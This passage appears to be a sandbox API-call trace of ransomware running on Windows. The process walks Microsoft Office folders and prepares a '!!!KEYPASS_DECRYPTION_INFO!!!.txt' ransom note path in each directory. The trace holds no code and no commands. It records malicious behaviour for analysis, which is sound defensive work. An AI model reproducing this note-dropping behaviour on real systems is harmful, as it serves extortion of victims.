lpMsg=0x2e4dc98) returned 0 [0272.272] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.272] GetLastError () returned 0x3f0 [0272.272] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\mcxml\\en-us\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\mcxml\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.272] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\mcxml\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.273] GetFileType (hFile=0x1090) returned 0x1 [0272.274] CloseHandle (hObject=0x1090) returned 1 [0272.275] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0272.275] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.275] GetLastError () returned 0x3f0 [0272.275] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\mcxml\\es-es\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\mcxml\\es-es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.275] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\mcxml\\es-es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.315] GetFileType (hFile=0x1098) returned 0x1 [0272.316] CloseHandle (hObject=0x1098) returned 1 [0272.316] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0272.316] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.316] GetLastError () returned 0x3f0 [0272.317] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\mcxml\\fr-fr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\mcxml\\fr-fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.317] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\mcxml\\fr-fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.318] GetFileType (hFile=0x109c) returned 0x1 [0272.318] CloseHandle (hObject=0x109c) returned 1 [0272.319] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0272.319] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.319] GetLastError () returned 0x3f0 [0272.319] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\mcxml\\x-none\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\mcxml\\x-none\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.319] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\mcxml\\x-none\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.319] GetFileType (hFile=0x10a0) returned 0x1 [0272.320] CloseHandle (hObject=0x10a0) returned 1 [0272.320] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0272.320] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.320] GetLastError () returned 0x3f0 [0272.321] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office15\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office15\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.321] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office15\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.321] GetFileType (hFile=0x10a4) returned 0x1 [0272.322] CloseHandle (hObject=0x10a4) returned 1 [0272.322] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0272.322] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.322] GetLastError () returned 0x3f0 [0272.322] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.322] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.508] GetFileType (hFile=0x10a8) returned 0x1 [0272.509] CloseHandle (hObject=0x10a8) returned 1 [0272.674] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0272.674] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.674] GetLastError () returned 0x3f0 [0272.675] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.675] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.699] GetFileType (hFile=0x10ac) returned 0x1 [0272.700] CloseHandle (hObject=0x10ac) returned 1 [0272.710] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0272.710] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.710] GetLastError () returned 0x3f0 [0272.710] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1033\\Bibliography\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1033\\Bibliography\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.710] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1033\\Bibliography\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.728] GetFileType (hFile=0x10b0) returned 0x1 [0272.729] CloseHandle (hObject=0x10b0) returned 1 [0272.729] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0272.729] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.729] GetLastError () returned 0x3f0 [0272.729] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1033\\DataServices\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1033\\DataServices\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.729] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1033\\DataServices\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.730] GetFileType (hFile=0x10b4) returned 0x1 [0272.731] CloseHandle (hObject=0x10b4) returned 1 [0272.731] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0272.731] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.731] GetLastError () returned 0x3f0 [0272.731] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1033\\PUBFTSCM\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1033\\PUBFTSCM\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.731] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1033\\PUBFTSCM\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.745] GetFileType (hFile=0x1094) returned 0x1 [0272.745] CloseHandle (hObject=0x1094) returned 1 [0272.746] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0272.746] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.746] GetLastError () returned 0x3f0 [0272.746] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1033\\PUBSPAPR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1033\\PUBSPAPR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.746] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1033\\PUBSPAPR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.746] GetFileType (hFile=0x10b8) returned 0x1 [0272.748] CloseHandle (hObject=0x10b8) returned 1 [0272.748] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0272.748] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.748] GetLastError () returned 0x3f0 [0272.748] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1033\\QuickStyles\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1033\\QuickStyles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.748] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1033\\QuickStyles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.760] GetFileType (hFile=0x10c0) returned 0x1 [0272.761] CloseHandle (hObject=0x10c0) returned 1 [0272.761] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0272.761] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.761] GetLastError () returned 0x3f0 [0272.761] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1036\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.761] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.761] GetFileType (hFile=0x10c4) returned 0x1 [0272.762] CloseHandle (hObject=0x10c4) returned 1 [0272.762] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0272.762] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.762] GetLastError () returned 0x3f0 [0272.762] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\3082\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.762] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.763] GetFileType (hFile=0x10c8) returned 0x1 [0272.763] CloseHandle (hObject=0x10c8) returned 1 [0272.764] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0272.764] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.764] GetLastError () returned 0x3f0 [0272.764] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\AccessWeb\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\AccessWeb\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.764] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\AccessWeb\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.765] GetFileType (hFile=0x10cc) returned 0x1 [0272.765] CloseHandle (hObject=0x10cc) returned 1 [0272.766] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0272.766] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.766] GetLastError () returned 0x3f0 [0272.766] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ACCWIZ\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ACCWIZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.766] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ACCWIZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.767] GetFileType (hFile=0x10bc) returned 0x1 [0272.767] CloseHandle (hObject=0x10bc) returned 1 [0272.768] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0272.768] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.768] GetLastError () returned 0x3f0 [0272.768] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.768] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.811] GetFileType (hFile=0x10d0) returned 0x1 [0272.812] CloseHandle (hObject=0x10d0) returned 1 [0272.812] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0272.812] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.812] GetLastError () returned 0x3f0 [0272.812] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.812] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.813] GetFileType (hFile=0x10d8) returned 0x1 [0272.814] CloseHandle (hObject=0x10d8) returned 1 [0272.814] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0272.814] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.814] GetLastError () returned 0x3f0 [0272.814] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.814] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.818] GetFileType (hFile=0x10dc) returned 0x1 [0272.818] CloseHandle (hObject=0x10dc) returned 1 [0272.819] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.819] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.819] GetLastError () returned 0x3f0 [0272.819] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\af\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\af\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.819] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\af\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.820] GetFileType (hFile=0x10e0) returned 0x1 [0272.820] CloseHandle (hObject=0x10e0) returned 1 [0272.820] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.820] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.820] GetLastError () returned 0x3f0 [0272.820] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\am\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\am\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.820] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\am\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.821] GetFileType (hFile=0x10e4) returned 0x1 [0272.822] CloseHandle (hObject=0x10e4) returned 1 [0272.822] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.822] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.822] GetLastError () returned 0x3f0 [0272.822] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.822] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft 